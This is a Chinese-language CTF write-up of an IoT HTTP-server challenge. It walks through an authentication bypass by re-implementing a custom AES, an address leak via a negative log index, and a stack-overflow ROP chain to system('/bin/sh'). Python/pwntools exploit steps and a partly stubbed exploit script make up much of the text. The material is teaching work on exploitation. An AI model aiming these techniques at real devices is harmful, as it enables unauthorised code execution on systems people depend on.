羊城杯-基于栈溢出的IoT固件安全分析与利用
字数 1166 2025-12-16 12:20:11
IoT固件栈溢出漏洞分析与利用教学文档
题目概述
本教学文档基于"羊城杯-基于栈溢出的IoT固件安全分析与利用"题目,分析一个存在栈溢出漏洞的IoT设备HTTP服务程序,并完成完整的漏洞利用链。
环境配置分析
Docker环境配置
FROM ubuntu:20.04
RUN useradd -m ctf
# 基础环境配置
RUN apt-get update && apt-get install -y libmicrohttpd12 supervisor
WORKDIR /home/ctf
# 复制必要文件
COPY ./httpd /home/ctf/ # 主程序
COPY ./login.html /home/ctf/ # 登录页面
COPY ./find.sh /home/ctf/ # 守护脚本
COPY ./work.html /home/ctf/ # 工作页面
COPY ./log.html /home/ctf/ # 日志页面
COPY ./libc-2.31.so /lib/ # 依赖库
服务启动流程
#!/bin/sh
# start.sh 启动脚本
echo $DASFLAG > /flag
/bin/sh /home/ctf/find.sh & # 守护进程
/usr/bin/supervisord -c /home/ctf/supervisord.conf
sleep infinity;
程序分析
文件信息
- 程序类型:ELF 64-bit LSB executable, x86-64
- 保护机制:动态链接,Strip剥离符号
- 服务端口:9999
主函数逻辑
__int64 __fastcall main(int a1, char **a2, char **a3)
{
unsigned int seed = time(0);
srand(seed);
// 启动HTTP守护进程
__int64 started = MHD_start_daemon(8, 9999, 0, 0, sub_4031D5, 0, 0);
if (started) {
printf("Server running on port %d\n", 9999);
getchar();
MHD_stop_daemon(started);
// 清理资源
for (int i = 0; i < dword_40626C; ++i)
free(*((void **)&unk_4065C0 + i));
return 0;
}
return 1;
}
HTTP路由表
| URL | 方法 | 处理函数 | 功能描述 |
|---|---|---|---|
| /login.html | GET | sub_402375 | 显示登录页面 |
| /login | POST | sub_402555 | 处理登录请求 |
| /work.html | GET | sub_402717 | 显示工作页面 |
| /work | GET/POST | sub_402840 | 处理工作操作 |
| /log.html | GET | sub_402BE8 | 显示日志页面 |
| /log | POST | sub_402D1D | 处理日志操作 |
漏洞分析
1. 认证绕过机制
登录验证逻辑
__int64 __fastcall sub_402555(__int64 a1, __int64 a2, const void *src, size_t *a4)
{
// 获取ciphertext参数
void *ptr = (void *)sub_4030D1(a2, "ciphertext");
if (ptr) {
sub_40207D((__int64)ptr, (__int64)src_, 0x10u);
aes(src_, &dest_, 16); // AES解密
// 与全局变量byte_420558比较
if (sub_40309B(&dest_, &s2_))
dword_406268 = 1; // 认证成功标志
free(ptr);
}
// 返回响应...
}
认证绕过方法
- 访问
/login.html获取16字节随机明文 - 使用自定义AES算法加密该明文
- 将密文作为
ciphertext参数POST到/login接口
自定义AES加密实现
from Crypto.Util.Padding import pad
# 自定义S盒(256字节)
CUSTOM_SBOX_DATA = [
0x29,0x40,0x57,0x6E,0x85,0x9C,0xB3,0xCA,0xE1,0xF8,0x0F,0x26,0x3D,0x54,0x6B,0x82,
# ... 完整S盒数据
]
def generate_expanded_key(key: bytes) -> bytes:
"""AES-128密钥扩展"""
# 实现密钥调度算法...
def encrypt_with_ecb(plain_data: bytes, secret_key: bytes) -> bytes:
"""ECB模式加密"""
# 使用自定义S盒完成AES加密...
return ciphertext
# 认证绕过示例
key = b"0123456789ABCDEF" # 固定密钥
plaintext = get_from_login_html() # 从/login.html获取
ciphertext = encrypt_with_ecb(plaintext, key)
2. 栈溢出漏洞
漏洞函数分析
__int64 __fastcall sub_4031A2(const void *dest, int n)
{
_BYTE desta[64]; // 64字节栈缓冲区
memcpy(desta, dest, n); // 无长度检查的复制
return 0;
}
触发条件
在/work接口的处理函数中,当检测到字符串"YCB2025"时:
for (dest_2 = dest; dest_2 - (_BYTE *)dest + 6 <= (unsigned __int64)n_1; ++dest_2) {
if (dest_2[0] == 'Y' && dest_2[1] == 'C' &&
dest_2[2] == 'B' && dest_2[3] == '2' &&
dest_2[4] == '0' && dest_2[5] == '2' &&
dest_2[6] == '5') {
dest_3 = dest_2;
break;
}
}
if (dest_3) {
v10 = dest_3 - (_BYTE *)dest;
sub_4031A2(dest, dest_3 - (_BYTE *)dest); // 触发栈溢出
return 0;
}
3. 信息泄露漏洞
日志接口漏洞
__int64 __fastcall sub_402D1D(_QWORD a1, __int64 a2, const void *src, size_t *a4)
{
nptr = (char *)sub_4030D1(a2, "index");
if (nptr) {
n99 = atoi(nptr);
if (n99 < ::n99 && qword_4065C0[n99]) {
if (n99 >= 0) {
// 正常显示内容
snprintf(s_, 0x400u, "Input[%d]->>%s:%p", n99,
(const char *)qword_4065C0[n99],
(const void *)qword_4065C0[n99]);
} else {
// 负数索引泄露地址
snprintf(s_, 0x400u,
"<html>...<pre>%p</pre></html>", n99,
(const void *)qword_4065C0[n99]);
}
}
}
}
利用方法
- 使用负数索引访问全局数组
qword_4065C0 - 泄露libc基地址和堆地址
- 计算gadget和系统函数地址
漏洞利用链
步骤1:认证绕过
import requests
# 获取明文
login_html = requests.get("http://target:9999/login.html")
plaintext = extract_plaintext(login_html.content)
# 加密明文
ciphertext = aes_encrypt(plaintext, fixed_key)
# 发送登录请求
login_data = {"ciphertext": ciphertext.hex()}
session = requests.Session()
session.post("http://target:9999/login", data=login_data)
步骤2:信息泄露
# 使用负数索引泄露地址
for i in range(-10, 0):
leak_data = session.post("http://target:9999/log", data={"index": str(i)})
if "0x" in leak_data.text:
# 解析泄露的地址
leaked_addr = parse_address(leak_data.text)
# 计算libc基地址
libc_base = leaked_addr - libc_offset
步骤3:ROP链构造
可用gadget
0x0000000000403633 : pop rdi ; ret
0x0000000000403631 : pop rsi ; pop r15 ; ret
0x000000000040101a : ret
ORW链构造
from pwn import *
# 计算关键地址
libc = ELF("./libc-2.31.so")
libc.address = libc_base
system_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
pop_rdi = 0x0000000000403633 # pop rdi ; ret
ret = 0x000000000040101a # ret指令用于栈对齐
# 构造ROP链
rop_chain = [
pop_rdi, binsh_addr,
ret, # 栈对齐
system_addr
]
步骤4:栈溢出利用
# 构造payload
padding = b"A" * offset_to_rip
payload = padding + b"".join(p64(addr) for addr in rop_chain)
payload = payload + b"YCB2025" # 触发漏洞的魔术字
# 发送攻击载荷
session.post("http://target:9999/work", data=payload)
完整利用脚本框架
#!/usr/bin/env python3
from pwn import *
import requests
import struct
class IoTExploit:
def __init__(self, target_ip, target_port=9999):
self.target = f"http://{target_ip}:{target_port}"
self.session = requests.Session()
def bypass_auth(self):
"""步骤1:认证绕过"""
# 实现AES加密和登录绕过
def leak_addresses(self):
"""步骤2:信息泄露"""
# 通过负数索引泄露libc和堆地址
def build_rop(self, libc_base):
"""步骤3:构造ROP链"""
# 计算gadget和函数地址
def exploit(self):
"""步骤4:执行漏洞利用"""
# 完整的利用链执行
if __name__ == "__main__":
exploit = IoTExploit("127.0.0.1")
exploit.exploit()
防护机制与绕过技巧
现有防护
- 栈Canary:未开启
- PIE:未开启(固定基址)
- NX:启用(需要ROP)
- ASLR:启用(需要信息泄露)
利用技巧
- 认证绕过:逆向自定义AES算法
- 信息泄露:利用负数索引越界读取
- ROP构造:使用有限gadget完成ORW
- 稳定性:利用守护进程自动重启特性
总结
本题目展示了IoT设备固件安全的典型攻击场景:
- 自定义加密算法的安全性分析
- Web接口的输入验证漏洞
- 栈溢出漏洞的现代利用技术
- 信息泄露与ROP链构造的结合
关键知识点包括AES算法原理、栈布局分析、ROP技术、以及Web安全与二进制安全的交叉利用。通过系统学习此案例,可以掌握IoT设备安全评估的核心技能。